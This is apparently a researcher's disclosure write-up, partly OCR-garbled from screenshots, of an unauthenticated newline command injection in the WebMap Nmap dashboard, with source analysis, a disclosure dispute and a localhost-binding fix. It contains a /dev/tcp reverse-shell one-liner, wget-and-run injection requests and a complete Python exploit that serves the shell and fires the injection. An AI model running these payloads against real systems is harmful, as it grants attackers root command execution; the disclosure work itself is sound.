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Summary

is an open source, Docker-deployed dashboard for running and
visualizing Nmap scans, with 100K+ Docker Hub pulls, 11K+ GitHub stars, and
~300 forks. Its scan endpoint takes user-supplied parameters and passes
them straight into a shell command.

A gap in the input validation regex for the params & target parameters lets
an attacker smuggle a newline into that command, breaking out of the
intended nmap invocation and running arbitrary shell commands as root
inside the container, with no authentication required.

The official Docker deployment instructions bind the service to all network
interfaces by default, so anyone who followed the README is likely exposed
to the internet.

All versions up to (including) this is vulnerable.

This bug has been present since 2019 and it's fixed in this
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This vulnerability is referenced by

Update - 2026/09/14
The maintainer decided to delete the repository after the CVE release ©&.

Here is the

Two Separate Problems

This issue is two problems stacked on top of each other:

1. The vulnerability itself - an unauthenticated command injection in the
scan endpoint, detailed below.

2. The deployment problem - the default Docker command in the README
exposes WebMap to the internet.

How it started

My discovery of this vulnerability was indirect.

| previously downloaded WebMap to visualize my nmap scans in a Graph, and
| forgot about it, then later performed a network scan on my VPN IP to check
whether any ports are exposed, and | discovered that port 8000 running
WebMap is open.

Checking my Docker instances with docker ps confirmed it was running on
all interfaces:

¥ WebMap git:(8b95fed4) docker ps

CONTAINER ID IMAGE COMMAND
CREATED STATUS PORTS

NAMES

b8c68lac6521 reborntc/webmap "bash
/startup.sh" Not important Up 0.0.0.0:8000-

>8000/tcp, [::]:8000->8000/tcp
webmap


https://nvd.nist.gov/vuln/detail/cve-2026-90843
https://nvd.nist.gov/vuln/detail/cve-2026-90843
https://web.archive.org/web/20260307210428/https://github.com/SabyasachiRana/WebMap
https://web.archive.org/web/20260307210428/https://github.com/SabyasachiRana/WebMap

Interesting.
| asked myself:

"What if this tool was vulnerable and | was exposing a vulnerable service to
all my interfaces".

So lets poke it with a stick and see what happens.

Poking it with a stick

Apparently, they are using some sort of authentication, so we generate a
token and log in:

Token

Generate a new token with;

docker exec -ti webmap /root/token

LOGIN

WebMap Login Page

Among the other functionalities in the dashboard is the new nmap scan
functionality:



® New Nmap Scan

Run a naw Nmiap scan by setting the following 3 parameters:

Howrly

Running another binary is an obvious use case for Command injection, we
can test many of these parameters but the most flexible one is the params

parameter.
Request Response

Pretty  Raw  Hus WENE pety Raw  He

Regular request

If we try something like $(1s) we getan invalid syntax response so
there is some kind of input sanitization :

Request Response

Pretty  Raw  Hex QE W= ey Rw  He

WTTE/ L

1 200 (&

Test request 1



But, is it efficient?

Developers tend to miss sanitizing whitespace, one of the Command
injection techniques is to inject a newline \n , which starts a new
command.

We can simply do this in Burp by using %0a so our payload will be:
%0a command %0a

First newline is to start a new command and the last newline to skip anything
that comes after our command so we just pass it to the next line.

However, because the output is not displayed, we need to do an Out of Band
Command Injection, so | fired up my Python server and ran cURL on my
Docker host IP :

Response

BEWNWE ey Rw o

Test request 2

It worked! but it didn't

We no longer get an 'invalid syntax' error, however, | haven't receive any
request:

¥ WebMap 8b95fe4 thon: http.server 3737
Serving HTTP on 0.0.0.0 port 3737 (http://0.0.0.0:3737/)



Maybe they are silently cutting out any newlines?
Maybe they actually have a very good input filtering?

Maybe it's just the container doesn't have curl installed:

X WebMap 8b95fe4) docker exec webmap /bin/bash
rootgwebmap:/opt# curl

bash: curl: command not found

rootgwebmap: /opt#

Where the excitement begins

So, after checking other tools on the container, we find out it has wget :

Response

BB NS ey R He

Fythond - hoipasrves 1737
Sesgion Actions Edit View Help
% Webiap 5

X Weblap

X Whiag Bb95 Fek http.serwer 3737
Serving HTTP on ©,0.0.9 port 3737 (hutp://R.0.0.0:3737/)
10.200.9.2 [12/Aug/2026 06:02:01] “GET / HTTR/L.1° 19

Test request 3

Bingo, we have successfully achieved remote command
execution!

Now let's get our reverse shell:



Request Response

Pretty  Raw  Hex BN = pety Raw  Hex  Rende

1 POST fapi /vl/reap/scan/nas HTTP/L.1 I WITR/1.1 200 %

2 Host: burpissh Canl 2 Date: wWed, 1T Aug 202

3 Content. Lang Server: WSO15 2
s %-Fmquasted- & Contant-Tyy

5 Wsar- dgant 7. 36 (AL, Like Gecka] cf 1. X-Frams-Op

& Accept: Content-Length: 33

7 Content-Type: spplication/z-www-form.urlencoded; charset=uT | A Content-Typ
Sec-OPC: & Paferrer-Policy
Origa i Crodd- Origin-Openar-Policy: sase-ofigin
P far
11 Accept-Enceding 1 {
Z Accept:Language 32 ariar a
Cookin: curfiek 2 TrrsQXIvOIFD; sessicridutiblgTpdie] Sl gpoed: | 2tdaqvakfas 13}

o enrisdddlpvaret

P Pl gl e LPgd Ot oA et 6] 3 Larpmgmany 0,18
A e TOp £ 10, 200, 0. 1 FATITHIGAZE]L  WOsbschedulestalashf requencys L
ne -lvnp 3737 (]

Session Actions Edit View Help

Serving HTTP on 0.8.0.0 port 3737 (http://9.0.0.0:3737/)
10.200.0.2 - - [12/Aug/2026 05:02:01) "GET / HTTP/1.1" 2@
H

c

Keyboard interrupt received, exiting.

¥ WebMap git:(8b95fes) 3737
Listening on ©.9.0.0 3737

Test request 4
Again, invalid syntax .

But because we have wget we can download our payload and execute it
with no need for any additional characters other than newline.

We create bash.sh :

bash.sh

/bin/bash -c 'sh -i >& /dev/tcp/10.200.0.1/3737 0>&1'

Download it with wget & executing it:

Request Response

Pretty  Raw  Hex S 0 = Pretty  Raw  Hex
1 POST fapi/vi/nmapfecan/nes HTTR/L.L I HITP/1.1 200 OK

2 Hest: burpisdusb.com:B000 2 Date: Wed, 12 &

3| ContentsLength: 211
4 X-Pagquisted-With: MUHTIpRaguast

4 Content:Typ

3 User-Agent: Mozillas3.0 (X11; Lirux xB6 6d4) soplewebikit 537,36 (KMTML, like Geckol Chromes151.0.0.0 Safari 2337.36 5| ¥-Frama-Options: DENY
S Accept: /% & Content-Langth: 33
7! content-Type: application/x-wew-form-urlencoded: charsetsUTF. & " ¥:Content.Type:Options: nosniff
Sec-GPC: 1 8| Rafarrar-Policy: samm-origin
origun: { fourpd sduskb. com: 8000 & Cross-Origin-Opener-Policy: sase-crigin
Raferar: h b . 8000/
i1 Aecept-Encodir ] 1] {
12| Accept:Language: e 12| *arrort:i*invalid syntaxe
3 Cookia: csritokens 1fgl ) OyRcRmelINT rrmaX 2wl FE; sessiontdetfblg7pdi ol5afge0sdi j 2tdgqvabfan 13 }

C1EEN1ZNHM1aFMUg) PSL Jg0H
paramas- o+ B AOEwge t+ 10, 200, 0. 1: 3738/ bash . shedash

d31 73shOTo0Ld &Gk RZTw1 g1 Loname=anything . snl&target=127.0.0. 1&
hlwbachedulesf alaesfrequancy=1h

Test request 5
Again! invalid syntax .

Obviously it's because of the slash / , so what we can do?



It's actually pretty simple; we just need to rename our bash.sh to
index.html and download the page withouta /.

However, because we fetched index.html before, the next downloaded file
would be index.html.1 or index.html.{number}, that's the default behavior of
wget it doesn't overwrite files by default.

We can just specify the file with -0 bash.sh or -0 index.html and run it:

Regquest

Pretty

_ _ _ £ pythond .m hitpserver 3738
Session Actions Edit View Help Sassion Actions | EdR Vhew (Hhelg
¥ webmap 3737
Listening on 9.8.0.8 3737
Connection received on 10.208.8.2 57768
sh: @2 can"t access tty; job control turned off
R id
uide®(root) gided{reot) groups=2(root)
"

 webmap http.server 3738
Serving HTTP on @.0.9.8 port 3738 (http://9.0.0.8:3738/) .

10.200.0.2 - - [12/Aug/2026 96:30:18] "GET / HTTP/1.1° 200

Test request 6 - Fully Interactive Remote Code Execution

Now, we successfully leveraged the command injection to achieve
Interactive remote code execution as root inside the container.

The Last Piece of the Puzzle

This is considered an authenticated remote code execution, it's good, but
wasn't enough for me.

So | tried the very simple way to bypass the authentication mechanism:

1. Opened a new repeater tab

2. Removed the session cookie

And here is the surprise :



Response
v Hx bl — R Pretty  Raw Mo =

Authentication was not ENFORCED in this endpoint!

This leaves us with CSRF tokens, In order to access the endpoint you need to
have both of them:

® csrfmiddlewaretoken parameter

e csrftoken cookie
You can collect them at the login page so it's not a matter of concern.

Full Proof of concept will be at the end of this page.

Source code analysis

| could have read the source code without going through this in blackbox, but
| was doing it for the fun and it didn't take much time to get full RCE.

The vulnerable code lives in functions_nmap.py , in nmap_newscan() . User-
supplied POST parameters are validated with this regex before being used to
build a shell command:

if(re.search(x'~[a-zA-Z0-9\ \-\.]+$', filename)
and re.search(r'~[a-zA-Z0-9\-\.\:\=\s,]1+$',
request.POST['params'])

and re.search(r'~[a-zA-Z0-9\-\.\:\/\s]+$',
request.POST['target'])):

res = 1'p':request.POST}#



The bug is in that \s . Python's re module treats \s as matching
whitespace, tab, \n, \r, \f,and \v notjust space and tab. A literal
newline ( %0a URL-encoded) satisfies the validation and sails through.

The tarxget parameter is vulnerable too. it also allows the / character, so
we can skip the index.html part and download the file directly which what
we will do in the POC.

The validated value is then interpolated directly into a shell string and
executed:

cmd = '(inmap} {params} --script={script_dir} -oX
/tmp/ifilenamet}.active {target? > /tmp/nmap_scan.log 2>&1; mv
/tmp/ifilename?.active /opt/xml/ifilename} >> /tmp/nmap_scan.log
2>&1) &' .format(

nmap=nmap_bin,

params=request.POST[ 'params'],

script_dir=settings.BASE_DIR + '/nmapreport/nmap/nse/',

filename=£filename,

target=request.POST['target']

)

subprocess.Popen(cmd, shell=True)

Because shell=True is used, we could break out of the nmap command and
run other commands.

The dashboard page checks for a session token before rendering, but the
scan creation endpoint ( /api/vl/nmap/scan/new ) performs no such check,
so the vulnerability is reachable directly without ever passing the
dashboard's login:

# views.py — dashboard checks the session token
def index(request, filterservice="", filterportid=""):
if 'auth' not in request.session:
return render(request, 'nmapreport/mmap_auth.html', x)

# functions_nmap.py — scan endpoint has no such check
def nmap_newscan(request):
if request.method == "POST":
# no session check anywhere in this file

10



The Default Deployment Problem

WebMap's README carries this warning:

This app is not intended to be exposed to the internet ... Please, DO NOT
expose this app to the internet, use your localhost or ... take care to filter
who and what can access

But the deployment command given in the same README does exactly the
opposite:

mkdir -p _container/xml _container/notes _container/notes
docker run -d \

--name webmap \

-h webmap \

-p 8000:8000 \

-v ./_container/xml:/opt/xml \

-v ./_container/notes:/opt/notes \

-v ./_container/schedule:/opt/schedule \

ghcr.io/sabyasachirana/webmap

-p 8000:8000 binds the containerto 0.0.0.0 , every interface on the host,
by default.

Docker gives no warning about this; nothing tells you this container is now
exposed to the internet unless you run docker ps .

Flask, for comparison, binds to localhost by default when you run

app.run(port=8000) .

With 100K+ pulls, a lot of people have run WebMap's default command
exactly as written.

1



What the Maintainer Did

| reported this through a GitHub security advisory. | was so excited for my
first CVE that | couldn't wait so | did some OSINT and found the maintainer's
LinkedIn profile, and reached out directly to gently ask them to review the
advisory urgently.

GHSA-rpg 3-65vx-fhwm

Unauthenticated OS Command Injection in params Field POST
/api/v1/nmap/scan/new
Eﬂmd ticat | CalledSTRIKER GHSA-rpg3-6Svx-Hum
Description
Summary

The scan endpaint in WebMap doos not adequatcly sanitizn the psesss POST paramoter bolore passing it 10 a shell command, The input validation regaex permits newling characters
{ \n ) because thie Python s horthand matches them. Since the command (s axecuted Via subpeocess.Pepenf. .., shell=Teue) , & nowhne in perasss Defminates the nmap angument
string and baxgins an arhitrary new shell command, The process runs a5 reot inside the Docker container, resulting in full remote code sxeoution.

The endpoint is also unauthenticated. It dovs not roquire a valid WebMap sossion or login: ondy a CSRF token is noeded, and that token can bi obdained by visiting /index_sesl page

without any eredentials. Ac a result, any attacker who can reach the WabMap instance can trigger the command injection and obitain RCE

Setting aside how they were disrespectful, they told me the project s just for
fun and that it must only run on localhost or it's the user's problem.

Ignoring that their own repository usage instructions is what exposes it by
default, and ignoring scale of users affected, and how popular the project is.

Moreover, localhost applications shouldn't be vulnerable to
unauthenticated remote code execution, so that's not an argument.

12
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“It's the useris;problem"

How he is behaving

They later blocked me and closed the advisory without crediting my
research:

13



g Sabyasachi Rana 30 May Unsubscribe e+«
to SabyasachiRana/WebMap, me, C...

This is strictly for internal use. Localhost has not
been added, as it was previously recommended
to include all interfaces instead.

Reply to this email directly, view it on GitHub, or
unsubscribe.
You are receiving this because you are either an

administrator on SElVEEEWIRERE)/ WebMap, or a
collaborator on GHSA-rpg3-65vx-ffwm..

g Sabyasachi Rana 30 May Unsubscribe ~ e»-
to SabyasachiRana/WebMap, me, St... v

_@moved you as a collaborator
on: SEISVYERERBIIRERE/ \WebMap Unauthenticated OS
Command Injection in params Field POST
[api/vi/nmap/scan/new (GHSA-rpg3-65vx-ffwm)

The maintainer removed me as a collaborator on the Advisory

A fix was eventually pushed silently to the repository with no mention of a
vulnerability anywhere, without warning users, and no credit to the person
who found it.

Commit 3d52f65

# SabyasachiRana committed on May 30
fixes

:,_P

4 files changed

Silent patch

This repository has no version tags, no releases, everything goes straight to
master, so users have no way of knowing anything changed unless they are
watching commits.

Because of how this was handled | submitted a CVE request independently.

14



Am | Affected?

If you pulled the image or cloned the repo before this ,you're on
a vulnerable version. If your instance was reachable from any network you
don't fully control, treat it as potentially compromised.

If you are at or after that commit, this specific vulnerability was addressed.

However you need to change your port binding from:

-p 8000:8000

to:

-p 127.0.0.1:8000:8000

Full corrected command:

docker run -d \
--name webmap \
-h webmap \
-p 127.0.0.1:8000:8000 \
-v ./_container/xml:/opt/xml \
-v ./_container/notes:/opt/notes \
-v ./_container/schedule:/opt/schedule \
ghcr.io/sabyasachirana/webmap

Now you are only exposing it to your localhost.

15
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Proof of concept

pocC.py

#!/usr/bin/env python3

WebMap (SabyasachiRana/webmap) unauthenticated RCE PoC
This PoC:
1. Spins up a local HTTP server to host a bash reverse shell.
2. Grabs a CSRF token/cookie pair from the target's login page
3. Submits a crafted value for the target parameter that gets
concatenated into
the nmap command line, causing it to wget the payload and
execute it via bash.

Author: CalledSTRIKER

import argparse

import re

import sys

import time

import threading

import requests

import tempfile

import os

from http.server import HTTPServer, SimpleHTTPRequestHandler

def get_csrf_tokens(ip: str, port: str) -> tuple[str, str,
requests.Session]:
url = f"http://3ipt:ipoxrtt/view/login/"
session = requests.Session()
response = session.get(url)
response.raise_for_status()

csrf_cookie = session.cookies.get("csrftoken")

match = re.seazrch(
r'name="csrfmiddlewaretoken"\s+value="([A"]+)"",
response.text,

)

if not match:
raise RuntimeError("Could not find csrfmiddlewaretoken in

the login page.")
csrf_token = match.group(1)
return csrf_cookie, csrf_token, session

16



def start_http_server(ip: str, port: int, serve_dir: str) ->
HTTPServer:
class Handlexr(SimpleHTTPRequestHandler) :
def __init__(self, *xargs, xxkwargs):
super().__init__(%args, directory=serve_dir,
**kwargs)

server = HTTPServer((ip, port), Handler)

thread = threading.Thread(target=server.serve_forever)
thread.daemon = False

thread.start()

return server

def build_arg_parsexr() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser (
prog="webmap_exploit.py",
description=(
"PoC for an unauthenticated command injection leading
to RCE in WebMap's "
"/api/vl/nmap/scan/new endpoint. Hosts a payload over

HTTP, then "
"inject a command that download it and execute it."
)
epilog=(

"Example:\n"

" python3 webmap_exploit.py --target-ip 10.10.10.5 -
-target-port 80 \\\n"

! --http-server-ip 10.10.14.2 --http-server-port
8000 \\\n"

! --revshell-ip 10.10.14.2 --revshell-port
4444\n\n"

"This targets WebMap at 10.10.10.5:80, serves the
payload from\n"

"10.10.14.2:8000, and calls back a reverse shell to
10.10.14.2:4444 . \n"

"Start a listener first."

)

formatter_class=argparse.RawDescriptionHelpFormatter,

parser.add_argument(
"-t", "--target-ip",
dest="target_ip",
required=Tzrue,
help="IP address of the vulnerable WebMap instance.",



)
parser.add_argument (
"-p", "--target-port",
dest="target_port",
required=Tzrue,
help="TCP port WebMap is listening on (commonly 80600).",
)
parser.add_argument (
"-H", "--http-server-ip",
dest="http_server_ip",
required=Tzrue,
help=(
"IP address to bind the local HTTP server to. This is
the address "
"the target will reach out to when it wgets the
payload"
) o
)
parser.add_argument(
"-p", "--http-server-port",
dest="http_server_port",
type=int,
required=Tzrue,
help="Port to bind the local HTTP server to.",
)
parser.add_argument (
"-r", "--revshell-ip",
dest="revshell_ip",
required=Tzrue,
help=(
"IP address the reverse shell should connect back to.
Usually the "
"same as http_server_ip."

)
)
parser.add_argument (

"-1", "--revshell-port",

dest="revshell _port",

required=Tzrue,

help="Port your netcat listener is bound to.",
)

return parser

def main():
parser = build_arg_parser()
args = parser.parse_args()

18



target_ip, target_port = args.target_ip, args.target_port

http_server_ip, http_server_port = args.http_server_ip,
args.http_server_port

revshell_ip, revshell_port = args.revshell_ip,
args.revshell port

tmpdir = tempfile.mkdtemp(prefix="webmap_exploit_")
shell_path = os.path.join(tmpdir, "shell.sh")
shell _content = (
f"/bin/bash -c 'sh -i >&
/dev/tcp/{irevshell _ip%/{irevshell portf 0>&1'\n"
)
with open(shell_path, "w") as f:
f.write(shell content)
print(£"[*] shell.sh written to {shell_path}")
print(£"[*] Payload: ishell_content.strip()}")

print(£"[*] Starting HTTP server on {http_server_ipi:
thttp_server_port} ...")

httpd = start_http_server(http_server_ip, http_server_pozrt,
tmpdir)

print(£"[+] HTTP sexrver is up. Serving {ishell_patht")

time.sleep(1)

try:
print(£"[*] Fetching CSRF tokens from http://itarget_ipi:
{target_porti/view/login/ ...")
csrf cookie, csrf token, session =
get_csrf_tokens(target_ip, target_port)
print(£"[+] csrftoken cookie: {csrf_cookiet")
print(£"[+] csrfmiddlewaretoken: {csrf_tokent")

download_url = f£"{http_server_ip}:
thttp_server_porti/shell.sh"
payload = (
"127.0.0.1\n"
f'wget http://idownload_urli\n"
"bash shell.sh\n"

)
print(£"[*] Payload :\n{irepr(payload):}")
data = §
"csrfmiddlewaretoken": csxrf_token,
"filename": "test",
"target": payload,
"params": "a",
"schedule": "false",

19



"frequency": "1h",

exploit_url = f"http://itarget_ip}:
{target_poxrti/api/vl/nmap/scan/new"

print(£"[*] Sending POST request to {exploit_url} ...")

resp = session.post(exploit_url, data=data)

print(£"[+] Response status: {resp.status_codet")

print(£"[+] Response text: {resp.text[:500]%...")

if resp.status_code == 200:
print("[+] Exploit triggered successfully.")
print("[+] Check your netcat listener for the reverse
shell!")
else:
print("[-] Target might not be vulnerable or the
request failed.")

except Exception as e:
print(f"[-] Error during exploitation: {et")
finally:
time.sleep(3)
print("[*] HTTP server is still running. Press Ctrl+C to
stop and clean up.")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[!] Shutting down HTTP server...")
httpd.shutdown ()
httpd.server_close()
os.remove (shell_path)
os.rmdir(tmpdir)
print("[+] Clean up complete. Exiting.")

if name__ == "_ main__":
main()
Previous Next
ABOUT ME Machines

Last updated 14 days ago
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